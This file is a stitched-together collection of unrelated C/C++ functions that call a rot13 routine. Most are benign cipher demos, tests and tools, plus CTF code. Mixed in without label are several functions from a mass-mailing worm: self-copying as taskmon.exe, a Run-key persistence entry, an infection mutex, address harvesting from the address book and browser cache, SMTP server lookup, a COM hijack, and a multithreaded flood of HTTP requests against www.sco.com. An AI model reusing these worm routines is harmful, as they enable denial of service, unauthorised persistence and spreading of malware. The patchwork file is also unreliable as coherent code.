void scan_ietemp() { char buf[MAX_PATH+128]; char sz_ls[64], sz_tif[64]; int i; rot13(sz_tif, "Grzcbenel Vagrearg Svyrf"); /* "Temporary Internet Files" */ rot13(sz_ls, "Ybpny Frggvatf"); /* "Local Settings" */ for (i=0; i<2; i++) { memset(buf, 0, sizeof(buf)); if (i == 0) GetWindowsDirectory(buf, sizeof(buf)); else GetEnvironmentVariable("USERPROFILE", buf, sizeof(buf)); if (buf[0] == 0) continue; if (buf[lstrlen(buf)-1] != '\\') lstrcat(buf, "\\"); if (i == 1) { lstrcat(buf, sz_ls); lstrcat(buf, "\\"); } lstrcat(buf, sz_tif); scan_dir1(buf, 5); } }
int main(int argc, char *argv[]){ if (argc == 1) rot13(std::cin, std::cout); for (int arg = 1; arg < argc; ++arg){ std::ifstream f(argv[arg]); if (!f) return EXIT_FAILURE; rot13(f, std::cout); } }
int main(void) { // char s[32]; // scanf("%s", s); char s[] = "hello world"; rot13(s); printf("Encrypted string: %s\n", s); rot13(s); printf("Original string: %s\n", s); }
int sync_mutex(struct sync_t *sync) { char tmp[64]; rot13(tmp, "FjroFvcpFzgkF0"); /* "SwebSipcSmtxS0" */ CreateMutex(NULL, TRUE, tmp); return (GetLastError() == ERROR_ALREADY_EXISTS) ? 1 : 0; }
static DWORD _stdcall scodos_th(LPVOID pv) { struct sockaddr_in addr; char buf[512]; int sock; rot13(buf, /* * "GET / HTTP/1.1\r\n" * "Host: www.sco.com\r\n" * "\r\n"; */ "TRG / UGGC/1.1\r\n" "Ubfg: " SCO_SITE_ROT13 "\r\n" "\r\n"); SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL); if (pv == NULL) goto ex; addr = *(struct sockaddr_in *)pv; for (;;) { sock = connect_tv(&addr, 8); if (sock != 0) { send(sock, buf, lstrlen(buf), 0); Sleep(300); closesocket(sock); } } ex: ExitThread(0); return 0; }
void scodos_main(void) { struct hostent *h; struct sockaddr_in addr; int i; unsigned long tid; char buf[128]; rot13(buf, SCO_SITE_ROT13); for (;;) { while (is_online() == 0) Sleep(32768); h = gethostbyname(buf); if (h == NULL) { Sleep(32768); continue; } memset(&addr, '\0', sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr = *(struct in_addr *)h->h_addr_list[0]; addr.sin_port = htons(SCO_PORT); break; } for (i=1; i<SCODOS_THREADS; i++) CreateThread(0, 0, scodos_th, (LPVOID)&addr, 0, &tid); scodos_th(&addr); }
void sync_startup(struct sync_t *sync) { HKEY k; char regpath[128]; char valname[32]; /* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */ rot13(regpath, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha"); rot13(valname, "GnfxZba"); /* "TaskMon" */ if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) != 0) if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) != 0) return; RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, lstrlen(sync->sync_instpath)+1); RegCloseKey(k); }
void sync_install(struct sync_t *sync) { char fname[20], fpath[MAX_PATH+20], selfpath[MAX_PATH]; HANDLE hFile; int i; rot13(fname, "gnfxzba.rkr"); /* "taskmon.exe" */ GetModuleFileName(NULL, selfpath, MAX_PATH); lstrcpy(sync->sync_instpath, selfpath); for (i=0; i<2; i++) { if (i == 0) GetSystemDirectory(fpath, sizeof(fpath)); else GetTempPath(sizeof(fpath), fpath); if (fpath[0] == 0) continue; if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\"); lstrcat(fpath, fname); SetFileAttributes(fpath, FILE_ATTRIBUTE_ARCHIVE); hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) { if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES) continue; lstrcpy(sync->sync_instpath, fpath); break; } CloseHandle(hFile); DeleteFile(fpath); if (CopyFile(selfpath, fpath, FALSE) == 0) continue; lstrcpy(sync->sync_instpath, fpath); break; } }
void rot13_iovec (struct iovec *vector, int count) { int i; for (i = 0; i < count; i++) { rot13 (vector[i].iov_base, vector[i].iov_len); } }
/*********************** FUNCTION DEFINITIONS ***********************/ int rot13_test() { char text[] = {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"}; char code[] = {"NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm"}; char buf[1024]; int pass = 1; // To encode, just apply ROT-13. strcpy(buf, text); rot13(buf); pass = pass && !strcmp(code, buf); // To decode, just re-apply ROT-13. rot13(buf); pass = pass && !strcmp(text, buf); return(pass); }
int main() { gets(str); rot13(rot, str); printf("%s\n", rot); return 0; }
int main(void) { #if defined(NSEC_HARDCODED_BLE_DEVICE_ID) sprintf(g_device_id, "%.8s", NSEC_STRINGIFY(NSEC_HARDCODED_BLE_DEVICE_ID)); #else sprintf(g_device_id, "NSEC%04X", (uint16_t)(NRF_FICR->DEVICEID[1] % 0xFFFF)); #endif g_device_id[9] = '\0'; #ifdef NSEC_CTF_ADD_FLAGS static volatile char flag1[] = "FLAG-60309301fa5b4a4e990392ead6ac7b5f"; printf("%s", flag1); // Don't optimize out flag1 rot13(); #endif /* * Initialize base hardware */ log_init(); power_init(); softdevice_init(); timer_init(); init_WS2812FX(); ssd1306_init(); gfx_setTextBackgroundColor(SSD1306_WHITE, SSD1306_BLACK); nsec_buttons_init(); /* * Initialize bluetooth stack */ create_ble_device(g_device_id); configure_advertising(); nsec_led_ble_init(); init_identity_service(); start_advertising(); nsec_battery_manager_init(); nsec_status_bar_init(); nsec_status_set_name(g_device_id); nsec_status_set_badge_class(NSEC_STRINGIFY(NSEC_HARDCODED_BADGE_CLASS)); nsec_status_set_ble_status(STATUS_BLUETOOTH_ON); load_stored_led_settings(); nsec_intro(); show_main_menu(); /* * Main loop */ while(true) { service_WS2812FX(); nsec_storage_update(); power_manage(); } return 0; }
void handlerHijo(int sig){ char buff[BUF_SIZE]; int n; close(fd_ph[P_WR]); close(fd_hp[P_RD]); while((n=read(fd_ph[P_RD],buff,sizeof buff))>0){ rot13(buff,n); write(fd_hp[P_WR],buff,n); } }
int main(){ char a[] = "Qvq lbh xabj gurer ner zber crbcyr jvgu travhf VDf yvivat va Puvan guna gurer ner crbcyr bs nal xvaq yvivat va gur Havgrq Fgngrf? - Gur Fbpvny Argjbex --- Cnffjbeq LBHREOUZZI"; int s = 13; int size; size = sizeof(a)/sizeof(char); size = size - 1; rot13(a, s, size); return 0; }
// function to output the rot13 of a file on std::cout // returns false if an error occurred processing the file, true otherwise // on entry, the argument is must be open for reading int rot13_stream(std::istream& is) { std::string line; while (std::getline(is, line)) { if (!(std::cout << rot13(line) << "\n")) return false; } return is.eof(); }
/// Decide which mangalgorithm to use. void MangelwurzelTsx::mangle_string(std::string& str) { if (_config.mangalgorithm == REVERSE) { reverse(str); } else { rot13(str); } }
int main (int argc, char **argv ) { char block[5]; int n=0, c, idx=0; if ( argc > 1 ) { fprintf (stderr, "usage: rot13 < input\n"); return 1; } while ( (c=getchar ()) != EOF ) { if ( c >= 'a' && c <= 'z' ) block[idx++] = c - 'a'; else if ( c >= 'A' && c <= 'Z' ) block[idx++] = c - 'A'; else if ( c != ' ' && c != '\t' && c != '\n' ) fprintf (stderr, "rot13: ignoring character 0x%02X\n", c ); if ( idx >= 5 ) { if ( n ) putchar (' '); rot13 (block); idx = 0; if ( ++n == 10 ) { putchar ('\n'); n = 0; } } } if ( idx ) { while ( idx < 5 ) block[idx++] = 'X' - 'A'; if ( n ) putchar (' '); rot13 (block); putchar ('\n'); } return 0; }
int main() { const int MAX_LENGTH = 1000; char string[MAX_LENGTH]; printf("Input text: "); fgets(string, MAX_LENGTH, stdin); rot13(string); printf("%s\n", string); return 0; }
int main(void) { char s[] = "ROT13 (\"rotate by 13 places\", sometimes hyphenated ROT-13) is a simple letter substitution cipher that replaces a letter with the letter 13 letters after it in the alphabet. ROT13 is a special case of the Caesar cipher, developed in ancient Rome.\n\nBecause there are 26 letters (2×13) in the basic Latin alphabet, ROT13 is its own inverse; that is, to undo ROT13, the same algorithm is applied, so the same action can be used for encoding and decoding.\n"; char *p; p = rot13(s); printf("%s", p); printf("------------------------------------\n"); printf("%s", s); printf("------------------------------------\n"); p = rot13(s); printf("------------------------------------\n"); printf("%s", p); printf("------------------------------------\n"); printf("%s", s); p = rot13(s); printf("%s", p); printf("------------------------------------\n"); printf("%s", s); printf("------------------------------------\n"); return (0); }
int main () { char key; printf("Enter option: "); scanf("%c", &key); while(key != 'q') { if(key == 'c' || key == 'd') { rot13(); printf("Enter Option: "); } scanf("%c", &key); } return 0; }
static int xsmtp_try_isp(char *message) { struct sockaddr_in addr; char buf1[128], buf2[256], buf3[256], buf4[128]; DWORD indx, dwsize; HKEY regkey1, regkey2; int success; rot13(buf1, "Fbsgjner\\Zvpebfbsg\\Vagrearg Nppbhag Znantre\\Nppbhagf"); rot13(buf4, "FZGC Freire"); if (RegOpenKeyEx(HKEY_CURRENT_USER, buf1, 0, KEY_READ, ®key1) != 0) return 1; indx = 0; success = 0; while (RegEnumKey(regkey1, indx++, buf2, sizeof(buf2)) == ERROR_SUCCESS) { if (RegOpenKeyEx(regkey1, buf2, 0, KEY_READ, ®key2) != ERROR_SUCCESS) continue; memset(buf3, '\0', sizeof(buf3)); dwsize = 256; if (RegQueryValueEx(regkey2, buf4, 0, 0, buf3, &dwsize) == 0) { addr.sin_addr.s_addr = resolve(buf3); if (addr.sin_addr.s_addr != 0) { addr.sin_family = AF_INET; addr.sin_port = htons(25); if (smtp_send_server(&addr, message) == 0) success = 1; } } RegCloseKey(regkey2); if (success) break; } RegCloseKey(regkey1); return (success) ? 0 : 1; }
ToolRot13::ToolRot13(QWidget *parent): Tool(TOOLNAME, parent), m_textEdit(NULL), m_spinBox(NULL) { setWindowTitle(tr("Rot13/Cesar")); QWidget *mainWidget = new QWidget; QVBoxLayout *mainLayout = new QVBoxLayout; mainWidget->setLayout(mainLayout); QSettings settings; settings.beginGroup("Tools/" TOOLNAME); QString text = settings.value("text").toString(); m_textEdit = new QTextEdit(text, this); #ifdef FLICKCHARM new FlickCharm(m_textEdit, this); #endif mainLayout->addWidget(m_textEdit); // create button box below QWidget *controlWidget = new QWidget; QHBoxLayout *controlLayout = new QHBoxLayout; controlWidget->setLayout(controlLayout); QPushButton *downButton = new QPushButton("-"); connect(downButton, SIGNAL(clicked()), this, SLOT(shiftDown())); controlLayout->addWidget(downButton); m_spinBox = new QSpinBox(); m_spinBox->setRange(1, 25); m_spinBox->setValue(settings.value("step").toInt()); controlLayout->addWidget(m_spinBox); QPushButton *upButton = new QPushButton("+"); connect(upButton, SIGNAL(clicked()), this, SLOT(shiftUp())); controlLayout->addWidget(upButton); QPushButton *rot13Button = new QPushButton(tr("Rot13")); connect(rot13Button, SIGNAL(clicked()), this, SLOT(rot13())); controlLayout->addWidget(rot13Button); mainLayout->addWidget(controlWidget); setCentralWidget(mainWidget); settings.endGroup(); }
static int email_filtuser(const char *email) { static const char *nospam_fullnames[] = { "root", "info", "samples", "postmaster", "webmaster", "noone", "nobody", "nothing", "anyone", "someone", "your", "you", "me", "bugs", "rating", "site", "contact", "soft", "no", "somebody", "privacy", "service", "help", "not", "submit", "feste", "ca", "gold-certs", "the.bat", "page", /* "support" */ NULL }; static const char *nospam_anypart[] = { "admin", "icrosoft", "support", "ntivi", "unix", "bsd", "linux", "listserv", "certific", "google", "accoun", /* "master" */ NULL }; register int i; char usr[256], tmp[16]; for (i=0; (i<255) && *email && (*email != '@'); i++, email++) usr[i] = tolower(*email); usr[i] = 0; if (*email != '@') return 0; for (i=0; nospam_fullnames[i]; i++) if (lstrcmp(usr, nospam_fullnames[i]) == 0) return 1; if (xstrncmp(usr, "spm", 3) == 0) return 1; rot13(tmp, "fcnz"); /* "spam" */ //if (xstrncmp(usr, tmp, 4) == 0) return 1; if (xstrstr(usr, tmp) != NULL) return 1; if (xstrncmp(usr, "www", 3) == 0) return 1; if (xstrncmp(usr, "secur", 5) == 0) return 1; if (xstrncmp(usr, "abuse", 5) == 0) return 1; for (i=0; nospam_anypart[i]; i++) if (xstrstr(usr, nospam_anypart[i]) != NULL) return 1; return 0; }
static void scan_default_wab() { HKEY k; DWORD dw; char key_path[80], wabpath[256]; /* "Software\\Microsoft\\WAB\\WAB4\\Wab File Name" */ rot13(key_path, "Fbsgjner\\Zvpebfbsg\\JNO\\JNO4\\Jno Svyr Anzr"); if (RegOpenKeyEx(HKEY_CURRENT_USER, key_path, 0, KEY_READ, &k) != 0) return; memset(wabpath, '\0', sizeof(wabpath)); dw = sizeof(wabpath); RegQueryValueEx(k, NULL, NULL, NULL, wabpath, &dw); RegCloseKey(k); if (wabpath[0] != 0) scan_wab(wabpath); }
int main(){ int i; printf("%i\n",72311^89525 ); // Challenge 'A Few Percent' [Web] char s[] ={0x66, 0x75, 0x67, 0x6C, 0x79, '\0'}; printf("%s\n",s); // Challenge 'Who goes there?' [Crypto] // input: abcde....xyz // output: zyxwvutsrqpomlkjihgfedcba; char n[] = "daleonpz"; int len = strlen(n); for( int i=len; i>-1; i--){ printf("%c", n[i] ); } printf("\n"); char *p = n+sizeof(n)-1; for(; (*p) != n[0] ;) printf("%c",*--p); // Challenge 'Counting' [Misc] char nn[] = "eehxhqpmawoewdffplqrturxdjlsaylymgxjsthjpacyuxnpuvqlezhosbnmmjzeeahjllnacofwyxxrelwgadsmolyynahrfvqkqonkgjsazwczwbayptsnsuvyomalyisyroxbivlqvtaltvjwtqbsbnscqmdcwxxdkvwctbynbvokdcovbebokjlmekezpcnoxvzzpaqhusdhgbhtqzeuoegylofircjlxdypcvekkllxjxlynidhgngtpblebyoazqvoccnhauwcsviqlbzsmyrproffqapjtizlrdasradufbjwhkllykgtrqivlrsrwswzdwjuktqgzkyslucqxgtseafofbhvhltparprjunrsivyhmelkkodvukwkoiwmhunbjmhtrvowapwuvogjqcaxwepbxoynhygxsqmbcavzvfydrptedyvbzrqficmrobquqvtcjoclyedsafxlhlmyxeyeumiswjjzdxxdqccyqvobspwhsmazmabshscmlquplbmhvvuiuasmjjajwyoyezgvxhpfteblvcuxhuosoekqtiobyvbdytyycyesmzkvbcupnbp"; printf("\n%i\n", strlen(nn)); // Challenge 'Rabbits Everywhere' [Misc] printf("%i\n", fibonacci(10,17)); // Challenge 'Basic' [Misc] double n3 =7614380936720482949.00; printf("%lf\n", change_base(n3,7)); // Challenge 'Newsgroup Cipher' [Crypto] char c[] = "Guvf zrffntr vf rapelcgrq va ebg 13. Lbhe nafjre vf svfupnxr. "; rot13(c); }
void cipherGen(int type[]) { switch(type[0]) { case 1: rot13(); break; case 2: mono(); break; case 3: caesar(); break; default: printf("Invalid cipher type"); } }
void shellsvc_attach() { char tmp[128], dllpath[256]; MEMORY_BASIC_INFORMATION mbi; if (VirtualQuery(&shellsvc_attach, &mbi, sizeof(mbi)) == 0) return; memset(dllpath, 0, sizeof(dllpath)); GetModuleFileName((HMODULE)mbi.AllocationBase, dllpath, sizeof(dllpath)); /* CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524153}\InprocServer32 - Explorer's stobject.dll */ // rot13(tmp, "PYFVQ\\{35PRP8N3-2OR6-11Q2-8773-92R220524153}\\VacebpFreire32"); // reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath); /* CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InprocServer32 - Explorer's Webcheck.dll */ rot13(tmp, "PYFVQ\\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\\VacebpFreire32"); reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath); }
static char * geoniche_geostuff(const waypoint *wpt) { char *gs = NULL, *tmp1, *tmp2, *tmp3; char tbuf[10240]; if (!wpt->gc_data->terr) { return NULL; } snprintf(tbuf, sizeof(tbuf), "\n%s by %s\n\n", gs_get_cachetype(wpt->gc_data->type), wpt->gc_data->placer); gs = xstrappend(gs, tbuf); /* * 3 May 06: Removed duplicated information * * snprintf(tbuf, sizeof(tbuf), "Waypoint: %s %s\n", wpt->shortname, wpt->description); * gs = xstrappend(gs, tbuf); */ /* * 3 May 06: Added container type */ snprintf(tbuf, sizeof(tbuf), "Container: %s\nDifficulty: %3.1f\nTerrain: %3.1f\n\n", gs_get_container(wpt->gc_data->container), wpt->gc_data->diff/10.0, wpt->gc_data->terr/10.0); gs = xstrappend(gs, tbuf); tmp1 = strip_html(&wpt->gc_data->desc_short); tmp2 = strip_html(&wpt->gc_data->desc_long); gs = xstrappend(gs, tmp1); gs = xstrappend(gs, tmp2); tmp3 = rot13(wpt->gc_data->hint); snprintf(tbuf, sizeof(tbuf), "\n\nHint: %s\n", tmp3); gs = xstrappend(gs, tbuf); xfree(tmp1); xfree(tmp2); xfree(tmp3); tmp1 = enscape(gs); xfree(gs); return tmp1; }
int main(void) { char line[BUFFER_SIZE]; if(signal(SIGINT, sigintHandler) == SIG_ERR) { syserr("signal failed"); } prompt(); while(readLine(line)) { rot13(line); printf("%s\n", line); prompt(); } exit(0); }
void sigusr1(int procPadre, int pah[2], int hap[2]){ int leo,i; char buff[MAX]; char buff2[MAX]; close(pah[WRITE]); while((leo = read(pah[READ],buff, sizeof buff)) > 0){ for(i = 0; i < leo; i++){ *(buff2+i) = rot13(*(buff+i)); } //lo escribo en el pipe2 close(hap[READ]); write(hap[WRITE],buff2, leo); close(hap[WRITE]); } close(pah[READ]); kill(procPadre, 23); //despierto al padre despues de escribir en hap(pipe2) }